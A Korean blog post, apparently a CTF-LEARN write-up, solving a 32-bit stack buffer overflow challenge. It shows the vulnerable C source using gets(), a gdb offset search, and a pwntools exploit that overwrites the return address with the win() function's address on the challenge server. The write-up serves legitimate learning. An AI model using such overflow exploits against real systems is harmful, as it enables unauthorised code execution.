2023. 2. 24. 00:18ㆍPwnable/CTF-LEARN
문제의 소스코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void win() {
system("/bin/cat /flag.txt");
}
void vuln() {
char padding[16];
char buff[32];
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Mark the padding with 0xff.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
vuln();
}
문제를 실행시키면 다음과 같은 결과 값이 나온다.
입력을 하나만 받아내기 때문에 이런경우 gdb로 패턴을 생성하여 간단히 offset을 구할 수 있다.
간단하게 거리를 구할 수 있다.
거리는 ret 까지 거리는 64다.
이후 보호기법을 확인해보면 다음과 같이 보호기법이 걸려 있다.
NX 보호기법을 가지고 있으므로 쉘코드로 ret 값을 덮어서 실행시킬 수 없다.
이런 경우 활용할 수 있는 공격기법은 RTL 있다. Return To Lic 말이다.!
소스코들 보면 대놓고 win 함수를 통해 flag을 획들 할 수 있다.
즉 dummy값 + win함수의 시작주소 로 페이로드를 작성하여 실행한다면 플래그를 찾을 수 있을 것이다.
win 함수의 시작주소는 다음과 같이 gdb를 통해 알아낼 수 있다.
매우 간단하게 디스어셈블리를 하여서 0x08048586 임을 확인할 수 있다.
그렇게 dummy 값 [60] + win 값을 넣으면
call win시작주소가 작동되어 플래그를 획득할 수 있을 것이다.
그렇게 작성한 페이로드는 다음과 같다.
GNU nano 2.9.3 ex.py
from pwn import *
p = remote('thekidofarcrania.com', 4902)
payload = b'A' * 60
flag = 0x08048586 ##win 시작 주소
payload += p32(flag) ##리틀엔디안 방식으로 데이터 삼입
p.sendline(payload) #페이로드 전송
data = p.recvrepeat(100000) #데이터 받기
print (data) #받은 데이터 출력
그렇게 익스플로잇을 한다면 !!
플래그를 획득할 수 있다 !
야호 ! 오늘도 성공이다.
드림핵, 프로토스타, pwnable.kr 등에서 익힌 방법들을 활용하여 풀 수 있었다.
지금까지 내가 풀어왔던 문제들이 너무 어려워서 풀이의 도움을 많이 받아야 했지만
완벽히 이해가 될때까지 풀고 또 풀고 다양한 문제들을 찾아 나서다 보니 이런 쉬운 문제정도는 스스로의 힘으로 풀 수 있게 되었다.
앞으로 이런 쉬운 문제씩 조금씩 앞서 나간다면 보다 성장한 나를 돌아볼 수 있지 않을까? 기대하게 된다.
오늘 시스템 해킹이 너무 잘되서 기분이 좋다 !!
'Pwnable > CTF-LEARN' 카테고리의 다른 글
CTF-LEARN - Simple bof - (0) | 2023.02.23 |
---|